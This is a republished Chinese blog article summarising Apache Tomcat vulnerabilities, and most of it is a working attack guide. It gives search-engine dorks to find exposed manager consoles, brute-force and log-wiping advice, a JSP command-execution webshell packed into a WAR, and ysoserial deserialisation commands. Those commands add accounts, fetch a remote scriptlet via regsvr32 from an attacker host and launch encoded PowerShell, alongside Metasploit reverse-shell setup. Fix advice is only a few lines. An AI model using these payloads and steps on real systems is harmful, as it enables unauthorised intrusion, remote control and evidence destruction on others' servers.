【中间件】tomcat 系列漏洞总结

admin 2023年1月6日10:10:16安全文章评论13 views10512字阅读35分2秒阅读模式

Tomcat 服务器是一个开源的轻量级Web应用服务器,在中小型系统和并发量小的场合下被普遍使用。主要组件:服务器Server,服务Service,连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container容器和一个或多个Connector组合在一起,加上其他一些支持的组件共同组成一个Service服务,有了Service服务便可以对外提供能力了。对外提供服务的同时,部分低版本tomcat却存在漏洞,漏洞被利用导致服务被攻击造成极大破坏。

Tomcat目录结构:

bin:二进制文件

lib:全局的jar包

temp:临时性文件

webapps:Java的web项目,需要部署的项目就要放在这个目录中

work:JSP代码翻译的Java代码以及编译的.class文件

了解Tomcat:

server.xml:配置tomcat启动的端口号、host主机、context等

web.xml:部署描述文件,部署每个webapp时都会调用该文件,配置该web应用的默认servlet

tomcat-user.xml:tomcat的用户密码和权限

任意文件写入(CVE-2017-12615)

Tomcat的几大高危漏洞

Tomcat后台弱口令上传war包,tomcat管理弱口令页面getshell。

Tomcat的PUT的上传漏洞(CVE-2017-12615) ,tomcat put方法任意文件上传CVE-2017-12615。

Tomcat反序列化漏洞(CVE-2016-8735) ,tomcat反序列化漏洞CVE-2016-8735。

Tomcat 样例目录session操控漏洞,Apache Tomcat examples directory vulnerabilities(Apache Tomcat样例目录session操纵漏洞。

Tomcat本地提权漏洞(CVE-2016-1240),Tomcat本地提权漏洞分析与防御。


Tomcat 漏洞列表

Apache Tomcat 拒绝服务漏洞CVE-2014-0230
Apache Tomcat Manager和Host Manager应用程序安全漏洞(CVE-2015-5351)
Apache Tomcat session-persistence 远程代码执行漏洞(CVE-2016-0714)
Apache Tomcat 会话固定漏洞(CVE-2015-5346)
Apache Tomcat 远程代码执行漏洞(CVE-2016-8735)
Apache Tomcat Commons Fileupload 拒绝服务漏洞(CVE-2016-3092)
Apache Tomcat httpoxy 安全漏洞(CVE-2016-5388)
Apache Tomcat 安全绕过漏洞(CVE-2016-6816)
Apache Tomcat AJP协议安全绕过漏洞
Apache Tomcat 安全绕过漏洞(CVE-2012-3439)
Tomcat 拒绝服务漏洞(CVE-2014-0050)
Apache Tomcat 安全漏洞(CVE-2017-6056)
Apache Tomcat 安全漏洞(CVE-2017-5648)
Apache Tomcat Default Servlet 安全漏洞(CVE-2017-5664)
Tomcat 信息泄露漏洞(CVE-2017-12616)
Apache Tomcat 安全漏洞(CVE-2017-12617)
Apache Tomcat 安全漏洞(CVE-2017-5647)
Apache Tomcat 安全漏洞(CVE-2018-1304)
Apache Tomcat 安全漏洞(CVE-2018-1305)


如何快速发现目标的各类tomcat管理控制台入口

第一种,通过常规端口扫描,获取服务banner

# nmap -n -sT -Pn --open -v -p 8080-8090,8443 -sV 192.168.3.100-200

tomcat 的默认端口通常情况下都会在这个区间内,至于具体用什么扫无所谓,masscan,zmap 都一样,只不过 nmap 会识别的更精准



第二种,通过各类外部web搜索引擎进行批量抓取

inurl:/manager/html intitle:apache tomcat site:*.target.*    Tomcat 控制台的默认路径/manager/html。也可以只找特定版本的 tomcat。

【中间件】tomcat 系列漏洞总结


第三种,通过各类空间搜索引擎进行批量抓取

shodanzoomeyefofacensys......

net:"112.112.0.0/16" port:"8080" product:"Apache Tomcat/Coyote JSP engine" 可先获取它的 as 号,然后再根据 as 号查到的网段,批量抓 tomcat 入口

【中间件】tomcat 系列漏洞总结

探测发现后,想办法利用

先从低版本tomcat管理控制台进行弱口令爆破tomcat-6.0.9,在7.x 后的版本加入了防暴力破解,所以针对tomcat 7.x 以后的版本不用考虑爆破。

先添加好 tomcat 控制台角色用户到 tomcat-users.xml文件的<tomcat-users>标签内添加如下用户。

配置完之后,运行 startup.bat 脚本即可启动 tomcat 服务

<role rolename="manager"/>

<role rolename="admin"/>

<user username="tomcat" password="tomcat" roles="manager,admin"/>


爆破的方式很多,可以利用msf tomcat_mgr_login爆破/自行写脚本/burpsuite,请求的时候要先把账号密码 base64encode。至于常见的弱口令可以去github找。

爆破会在目标的web访问日志中留下大量的请求记录,当搞定进入对方机器之后,要把把自己 ip 的所有请求日志都清除掉。


通上面过程,如果登录到目标tomcat manager,接下来就是想办法利用tomcat默认管理控制台自动war包部署功能,部署我们的webshell了。




影响范围:
Tomcat 7.0.0~7.0.81(默认配置)
1)、使用vulhub环境进行复现
原理:配置不当,导致将conf/web.xml中的readonly设置为false,导致可以使用PUT上传任意文件,但限制jsp后缀。不同平台有多种的绕过方法。
复现环境:Tomcat 8.5.19
【中间件】tomcat 系列漏洞总结
docker exec -ti bash
cat conf/web.xml |grep readonly

【中间件】tomcat 系列漏洞总结
【中间件】tomcat 系列漏洞总结
2)、绕过上传jsp
1.windows下不允许文件以空格结尾,上传到windows会自动去掉末尾空格。
【中间件】tomcat 系列漏洞总结
2.WindosNTFS流
文件后缀加上::$DATA
【中间件】tomcat 系列漏洞总结
3./在文件名中是非法的,会被去除(Windows/Linux)
【中间件】tomcat 系列漏洞总结
三种方法都成功上传。
【中间件】tomcat 系列漏洞总结

修复建议:
readonly改为true

远程代码执行(CVE-2019-0232)
影响范围:
Tomcat 9.0.0.M1~9.0.17
Tomcat 8.5.0~8.5.39
Tomcat 7.0.0~7.0.93
复现环境:9.0.17
前提:Tomcat的CGI_Servlet组件默认是关闭的,在conf/web.xml中找到注释的部分,去掉注释,并配置enableCmdLineArguments和executable。
【中间件】tomcat 系列漏洞总结
找到以上部分代码去掉注释,并加入红框内容。
enableCmdLineArguments启用后会将url中的参数传递到命令行。
executable指定执行的二进制文件,默认是perl,需要置为空才会执行文件本身。

启用cgi的servlet-mapping
【中间件】tomcat 系列漏洞总结

修改conf/context.xml,添加privileged=”true”属性,否则会没有权限。
【中间件】tomcat 系列漏洞总结

在tomcatwebappsROOTWEB-INF下创建cgi-bin目录,在该目录下创建一个bat文件,随后填写任意内容即可。
【中间件】tomcat 系列漏洞总结
修复建议:
1、更新版本。
2、禁用enableCmdLineArguments参数。

AJP文件包含漏洞分析(CVE-2020-1938)

影响版本:
Tomcat 6.x
Tomcat 7.x <7.0.100
Tomcat 8.x <8.5.51
Tomcat 9.x <9.0.31

漏洞危害:如果目标应用有文件上传的功能,配合文件包含的利用可以达到远程代码执行的危害。
影响说明:读取webapp下所有文件
漏洞成因:tomcat部署时有两个重要的配置文件conf/server.xml和conf/web.xml。
前者定义了tomcat启动时设计的组件属性,包含两个用于处理请求的组件connector。如果开启状态下,tomcat启动后会监听8080、8009端口,它们负责接受http、ajp协议的数据。
后者用来定义servlet。
漏洞复现-利用POC攻击:
安装好环境后执行
python 1.py 192.168.109.149 -p 8009 -f /WEB-INF/web.xml
【中间件】tomcat 系列漏洞总结
成功读取到/WEB-INF/web.xml文件的源码

漏洞复现-文件包含RCE:
该漏洞可以任意文件类型解析为jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞利用。
首先生成bash payload
【中间件】tomcat 系列漏洞总结
最终的payload为txt文件:
【中间件】tomcat 系列漏洞总结
上传到目标服务器,然后kali开启监听。
python 1.py ip -p 8009 -f RCE.txt
该漏洞可以和war上传联动。

Tomcat弱口令&后台getshell

1)、在conf/tomcat-users.xml文件中配置用户的权限:

<?xml version='1.0' encoding='cp936'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">

<role rolename="manager-gui"/> <role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

2)、改confCatalinalocalhost路径下的manager.xml文件,如果该路径下没有此文件,可以新建一个。内容如下:

<Context privileged="true" antiResourceLocking="false" 
docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>

3)、成功创建和添加以上内容,允许远程访问该manager。
【中间件】tomcat 系列漏洞总结
使用tomcat/tomcat登录,访问正常。

4)、本地getshell复现
(1)、正常安装的情况下,tomcat版本中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性才能进行攻击。
(2)、文件上传war包。
war包简介
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕就会将源码打包给测试员测试,测试完毕也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
(3)、生成war大马包
使用java命令:
jar -cvf shell.war shell.jsp

查看上传位置:
【中间件】tomcat 系列漏洞总结
成功解析大马并能实现upload功能:
【中间件】tomcat 系列漏洞总结
5)、上传冰蝎jsp木马
【中间件】tomcat 系列漏洞总结
本地检查成功上传:
【中间件】tomcat 系列漏洞总结
【中间件】tomcat 系列漏洞总结
此处关闭机场和代理,否则冰蝎会默认走导致无法上线。
6)、MSF上线控制
【中间件】tomcat 系列漏洞总结
完成shell控制。
【中间件】tomcat 系列漏洞总结


这次我们用 tomcat 9.0.10来进行演示


注意,可能是 tomcat 官方为了安全起见,在 tomcat8.x 之后版本的 manager 默认可能已经不再允许直接远程访问了,只允许本地访问,这也就是为什么有时候,你在访问目标的 manager/html 会出现 403 的情况

webappsmanagerMETA-INFcontext.xml 文件

<Context antiResourceLocking="false" privileged="true" >

<Valve className="org.apache.catalina.valves.RemoteAddrValve"

allow="d+.d+.d+.d+" /> 此正则表示允许任意地址访问


添加管理控制台角色用户tomcat-users.xml 文件:

<role rolename="manager-gui"/> 
<role rolename="admin-gui"/> 
<user username="tomcat" password="admin" roles="manager-gui,admin-gui"/>


环境搭建好之后,我们就可以来看看如何部署自己的war包webshell了,寻找manager中用于部署war包的上传点,然后上传自己的war包,至于你的war包webshell是一句话/大马/meterpreter自己随意。

命令执行利用的webshell为例,就两参数一个传命令一个给密码然后循环把执行结果打出来。

java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cr")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1)

out.println(new String(b));
}

如下则是 war 包 webshell 的简单制作过程

# jar -cvf Readme.war Readme.jsp

【中间件】tomcat 系列漏洞总结


上传制作好的 war 包 webshell,点击部署。

【中间件】tomcat 系列漏洞总结


Tomcat 便会自动帮我们部署好并启动它,如下

【中间件】tomcat 系列漏洞总结


在 POST 中带上密码和命令去访问自己的 webshell 地址,就可以看到执行结果。

POST: au=sk15&cr=ipconfig /all

【中间件】tomcat 系列漏洞总结


关于防御:

war 包webshell部署并不算是漏洞,只是tomcat 的一个正常功能被入侵者利用了。最根本的办法就是删掉 manager目录,实际业务几乎也不大会用到 。另外,就是些加固型的防御手段,提高攻击门槛。加强登录口令/web访问日志实时监控爆破/借助系统防火墙拦截/cc防护...


CVE-2016-8735 远程代码执行利用过程 

漏洞影响 tomcat 版本,tomcat 8.0.36为例:

Apache Tomcat 9.0.0.M1 to 9.0.0.M11

Apache Tomcat 8.5.0 to 8.5.6

Apache Tomcat 8.0.0.RC1 to 8.0.38

Apache Tomcat 7.0.0 to 7.0.72

Apache Tomcat 6.0.0 to 6.0.47

在 tomcat 中默认会使用JmxRemoteLifecycleListener 这个监听器来监控 tomcat 平时的各种运行状态。

但 Oracle 在修复了JmxRemoteLifecycleListener 反序列化漏洞[CVE-2016-3427]后,却忘记了及时对tomcat中的jmx监听器进行升级。

所以它本质还是 jmx 的漏洞并非 tomcat 自身漏洞。

实际上 JmxRemoteLifecycleListener 平时用来做监控居多,实际直接从外部碰到该端口的机会也并不是特别多。

漏洞利用过程

先搭建好基础环境,配置 JmxRemoteLifecycleListener监听器。

而后编辑confserver.xml文件添加如下的监听器

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />

端口可随意,只要不冲突即可

【中间件】tomcat 系列漏洞总结


之后,再去编辑bincatalina.bat 文件,添加如下变量直接在 setlocal 下面开始添加。

语句的主要作用是方便别人远程连过来对此 jvm 进行监控,注意此处是没有启用用户认证。

set JAVA_OPTS=-Dcom.sun.management.jmxremote -Djava.rmi.server.hostname=192.168.x.x -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.authenticate=false -

Dcom.sun.management.jmxremote.ssl=false

【中间件】tomcat 系列漏洞总结


执行binstartup.bat 脚本启动tomcat

不妨先用jvisualvm连过去看看监控效果

【中间件】tomcat 系列漏洞总结

,我们肯定得先发现目标有这样的端口才行,通过nmap对指定的单个目标机器进行全端口扫描并尝试获取服务banner。

# nmap -n -sT -sV -p 1-50000 --open -Pn -v 192.168.x.x

【中间件】tomcat 系列漏洞总结


而后利用经典的ysoserial java反序列化payload工具,尝试直接在远程目标机器上执行系统命令。

# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c net user flag "[email protected]#45" /add"

【中间件】tomcat 系列漏洞总结


像上面这样执行系统命令,配合 msf 一起利用尝试弹回一个meterpreter的shell。

msf5 > use exploit/multi/script/web_delivery msf5 > set target 3 msf5 

msf5 > use exploit/multi/script/web_delivery msf5 > set target 3 msf5 > set payload windows/meterpreter/reverse_tcp_rc4_dns msf5 > set lhost 192.168.3.7 msf5 > set lport 53 msf5 > set rc4password msf5 > exploit -j 此处借助 regsvr 32 来远程下载执行

执行过程中需要远程下载 payload这就要求当前目标机器必须能正常通外网才行。

# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c regsvr 32 /s /n /u /i:http://192.168.3.7:8080/CzVtq564v1ymsYr.sct scrobj.dll"

【中间件】tomcat 系列漏洞总结


再直接尝试利用powershell尝试弹个beacon的shell,先生成 ps 的 payload

【中间件】tomcat 系列漏洞总结


而后,继续通过 ysoserial.jar 发送执行该 payload

# java -cp ysoserial.jar  ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c powershell.exe -nop -w hidden -encodedcommand base64encode"


最后,看到 beacon 正常上线

【中间件】tomcat 系列漏洞总结


关于利用和防御所要注意的一些点:

上面的环境主要都是针对 windows,至于 Linux 下的利用方法,其实也大同小异,只不过,对于 windows 平台,shell 免杀的问题在实战中你可能还要多费点儿劲,防御非常简单,升级 tomcat 到已修补的版本即可

【中间件】tomcat 系列漏洞总结


参考:


https://www.freebuf.com/articles/paper/253666.html
本文作者:stan1ey, 转载请注明来自FreeBuf.COMhttps://www.freebuf.com/articles/web/271892.html本文作者:Pupa, 转载请注明来自FreeBuf.COM

精彩推荐









加微信进群领资料

【中间件】tomcat 系列漏洞总结

【中间件】tomcat 系列漏洞总结

关注公众号



回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球

【中间件】tomcat 系列漏洞总结


【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。





【中间件】tomcat 系列漏洞总结




渗透实战系列


【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

【中间件】tomcat 系列漏洞总结

    

长按-识别-关注

【中间件】tomcat 系列漏洞总结

Hacking黑白红

一个专注信息安全技术的学习平台

【中间件】tomcat 系列漏洞总结

点分享

【中间件】tomcat 系列漏洞总结

点收藏

【中间件】tomcat 系列漏洞总结

点点赞

【中间件】tomcat 系列漏洞总结

点在看

原文始发于微信公众号(Hacking黑白红):【中间件】tomcat 系列漏洞总结

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月6日10:10:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【中间件】tomcat 系列漏洞总结 http://cn-sec.com/archives/1502116.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: